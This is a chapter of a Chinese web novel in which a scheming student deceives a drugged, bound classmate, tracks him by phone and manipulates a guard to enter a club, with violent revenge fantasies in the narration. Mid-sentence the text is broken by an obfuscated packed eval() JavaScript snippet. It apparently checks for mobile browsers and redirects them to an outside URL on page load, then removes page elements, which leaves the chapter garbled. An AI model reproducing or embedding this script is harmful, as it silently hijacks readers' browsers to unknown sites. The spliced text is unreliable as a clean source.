9.第9章
作品:《黑心炮灰攻生存指南》 事实上,报复的方式千千万,用一把不算锋利的小刀在对方的脖颈或是手腕上面厮磨,因为钝,不会立刻血水四溅,又因为是伤人的器物,会把柔嫩的皮肤磨成一块块碎掉的肉皮,漏到地上像是木头屑落入泥潭,混在其中分不清楚。
简单粗暴点,直接找一个空洞的黑屋把对方关起来,拿锁链捆着,附近最好有小溪流水,能够感知世间万物的存在,可就是无法逃出去。
听着很爽,可然后呢?
这样做的后续结果冗长极了,费劲极了。
尤剪不可能花那么多时间浪费在与那些大家族周旋上。
这些观点就像阴沟里的老鼠,存于人在累死累活忙碌一天后,回家还要遭到老板与伴侣,随便一个人无差别攻击忽而萌生出的潮湿欲望,很想大喊啊啊啊都去死吧,事实上,想一想而已,翻过白眼接着捡起书本做好人。
没办法,生活有生活的潜规则,被它狠艹一通也得微笑面对,说着im fine,其实心里逼逼叨叨fuck you!
尤其在报复那些名副其实的大少爷上,更是难度叠加不知道几倍,让他们互相打起来就好了,肠子捅穿也不干他事。
然后尤剪就想,一群麻烦的神经病。
当然不包括他。
最主要的原因是他现在没空,人还没搜刮齐全。
等有空的。
尤剪拨弄了一下浴缸里的水,这一个动作就想让他立刻找消毒湿巾擦手,但他表面风平浪静,略带无辜,说:“沈林玉,你应该被人……”
“下x药了……”听着有些难以启齿似的。
沈林玉果然一愣:“什么?”
这还用他详细解释吗?跑到药房拿出一片冗长的说明书一一道来,脑子不好用不如去治治呢。
尤剪宛若紧张地捏了下手指:“你昏迷前正要去翻酒精,我刚坐下就见你倒了下去,吓我一跳。”
“然后你突然开始浑身发烫,我想带你去医院,你说什么都不肯,还抓着我不松手……没办法,我只能把你……绑在浴缸里面。”
尤剪似作无意地把手背露出来,上面有几道红印,看着很像抓痕。
实际回来路上不小心蹭的,他面无表情地想,鬼知道今天学校修枝干,挪来几颗小灌丛。
说东说西没一句重点,但隐晦的地方让人浮想联翩,尤其这些有钱的大少爷们脑壳不清楚怎么长的,总是喜欢脑补出自己想要的画面。
比如沈林玉根本没怀疑尤剪话的真实性,他下意识地认为尤剪一定不敢反抗他,会无条件地顺从他的所有意愿。
毕竟以前,都是这样。
他莫名联想到自己晕过去后,可能因为身体发烫搂住尤剪的脖颈,缠住尤剪的腰腹,甚至可能主动抬起下巴凑近尤剪的嘴唇,而对方不懂得拒绝他,就像现在……
年轻男孩低垂着头,柔润的头发乖顺地贴在耳后,散出的领口随着呼吸一上一下轻轻起伏,睫毛扫下淡淡阴翳,脸稍稍往一边侧,漏下来的零星灯光能瞄到男孩微微泛红的耳垂。
在他没有意识的情况下……他们不会做了很亲密的事吧……
放在以前任何一天,沈林玉的第一个反应绝对是接触的厌恶,但仿佛受梦境的影响,而且实际来讲,他们之前从来没有过肢体接触,忽然有一天它实现时,感觉竟不是非常糟糕。
沈林玉莫名有些脸热,不过在冷水里冰着又让这丝温度迅速消散:“你先把我松开吧,我现在清醒过来了。”
尤剪看他一眼,又迅速偏开头:“不太好。”
不赖沈林玉现在脑子转不过来,任谁在零下摄氏度的冰水中冻上很长时间,被绑起来的四肢也发僵发硬,但他没完全撕开表面上的温和:“为什么?你是在担心吗,没关系的,你看我现在可以平静地和你说话,已经没有事了。”
对不起,演戏真是个技术活。
尤剪真的很想笑出声,他实在有些忍不住,以至于耳朵差点完全憋红。
在沈林玉的视线中,尤剪抿了抿嘴唇,终于把头转过来,眼睛眨了一下,目光移向他腹部以下,双腿之间的部位……
他才反应出来不对劲,即便是在冰水里,那处股热得突出。
尤剪轻声道:“要不然还是去医院。”
“不用!”沈林玉深吸一口气,尽可能保持声线平稳:“你帮我松绑吧……我自己……解决。”
尤剪:“自己解决?”
沈林玉的脸块红半边天:“啊,啊。”
这可真是他遇见的最丢人的事,没有之一。
而尤剪关上门那刻,他想。
能解决就怪了。
去医院也不好使,难道那些犯人还不够意志坚定?
映//着吧。
持续好几天那东西不好用就没办法了,能怪谁呢?
接下来的几天时间里,尤剪没再见到沈林玉,给学校的理由是家中有事,不过真正原因只有他们两个心知肚明。
他一走,尤剪更有大把的时间思考接下来该怎么办,数了数日期,不多不少,刚好第七天的时候,他静静地看着手机里的小红点出现在某个会所。
小狗其实很好训,按照周期曲线来算,一周时间记忆会遗忘百分之七十七左右。
所以训他的时间要刚刚好好,不多不少,直到他自己完全记住,以后,再不敢犯。
尤剪挑了一件能够混迹在风流场所不出错的衣服,把帽子塞进包里,临走时挑了一块薄荷糖放在嘴里,硬糖,嘎嘣嘎嘣,被他一口口嚼碎。
恶种怎么配拥有喜悦。
他们明明应该在最脏最暗的环境里嚎啕大哭,直到哭不出来,不停地反胃呕吐。
*
那算是一个高端场所,装饰繁华,灯光交织,进这种地方当然需要证明,用尤剪的话来说,狗牌。
还是拴着铃铛的狗牌,一走一过就出响,一堆虚假的面容便会不懂装懂,说哦哦哦我知道,这是张李赵王……家的某某某。
尤剪当然没有。
但他可以想办法有。
他看着守在门口的两个人,其中一个面孔属于娃娃脸,上周刚刚见过。
尤剪敬佩,不愧是主角,从普通安保现在俨然升级成了……高级安保。
主角的背景原来也差别对待,不过,都比他强。
等没什么人的时候,尤剪平静地走过去,他此时戴着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090287|163549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棒球帽,与身下的衣服格格不入,显然像个怪人,被叫住也是理所当然的事。
他不认识的那个安保伸出胳膊挡住了他,尤剪似作没有意料到的,脚步忽地一停,帽子恰巧在此时被风吹落。
池听这才看清来者的脸,他现在权力多多了,踹了一脚旁边的手下,挑眉道:“是你。”
尤剪转头之时,池听已经弯腰把帽子捡起来,捏在指缝中,没递出来:“好巧。”
他肯定不会说,上周自己真傻到在学校门口等了一天,只是朋友家电脑坏了,他碰巧去修,碰巧在A大门口等了一会。
最关键的是,还没等到尤剪。
不过也是,陌生人嘛,谁会在乎一个子虚乌有的承诺。
尤剪看着他:“谢谢。”
“先别谢我。”池听扯着流里流气的笑,旁若无人地聊起来:“我捡了你帽子对吧,要不然风这么大它不得被风吹跑,这么说来,你是不是欠我一个人情。”
他语气暧昧得,都能戳破个热气球,这会才提起目的:“怎么样好学生,上周没给我的联系方式,这次得给我吧。”
尤剪顿了顿:“我不是好学生。”
“可以让我先进去吗?”尤剪看了一眼时间,有些为难道:“我今天迟到了。”
尤剪攥了攥袖口,不同于往常的学生装扮,不需要其余装饰便很好看的面容带着些畏惧,看过来的眼神惴惴不安,嘴唇透着苍白,如同溺水的人望见救助者的希冀,低声道:“里面……有人等我。”
里面那些所谓的年轻上等人很喜欢挑选漂亮的小男孩小女孩作为陪同,后者们的样貌多数出彩,但连姓名都没人问过,对外只说,是谁谁谁带过来的。
这一句话太具有迷惑性,尤其出现在此刻,恰到好处的让人产生误会。
也许也有人这么做过,不过结果都是,即便混进去也会很快被人不留情面的撵出来,毫无意义。
尤其池听上周看见尤剪身上说不清的那些伤痕,现在似乎找到一些合理的解释,一个被包养的,金主可能有着特殊癖好的倒霉蛋。
没办法,人都是第一感官的忠实拥护者,第一次见面男生的惨兮兮状态与现在再度重合。
池听一时没反应过来:“那你……先进去吧。”
尤剪肉眼可见的松一口气:“谢谢。”
旁边那个守卫当然不会说什么,干他们这行的,有时就要睁一只眼闭一只眼,太过一板一眼,反而容易丢掉工作。
尤剪火急火燎地跑进去,刚到一半,忽而三步并两步地跑回来,他本有种芝兰玉树的气质,做出任何一个带有鲜活气息的动作都会让他看起来有种铺面而来的明亮。
男孩眼睛干净又清澈,繁意的灯都追着他讨赏,身畔浸润了层层叠叠的光影,他轻轻一笑:“你叫什么?”
池听愣愣地看着他,下意识道:“池听。”
“池听。”
自己的名字被一字一字地念到,天杀的,他从来没觉得自己名字有这么好听。
“谢谢你。”尤剪笑道:“我有时间来找你。”
池听头一回老脸一红。
唉。
同一个手段,百试不爽。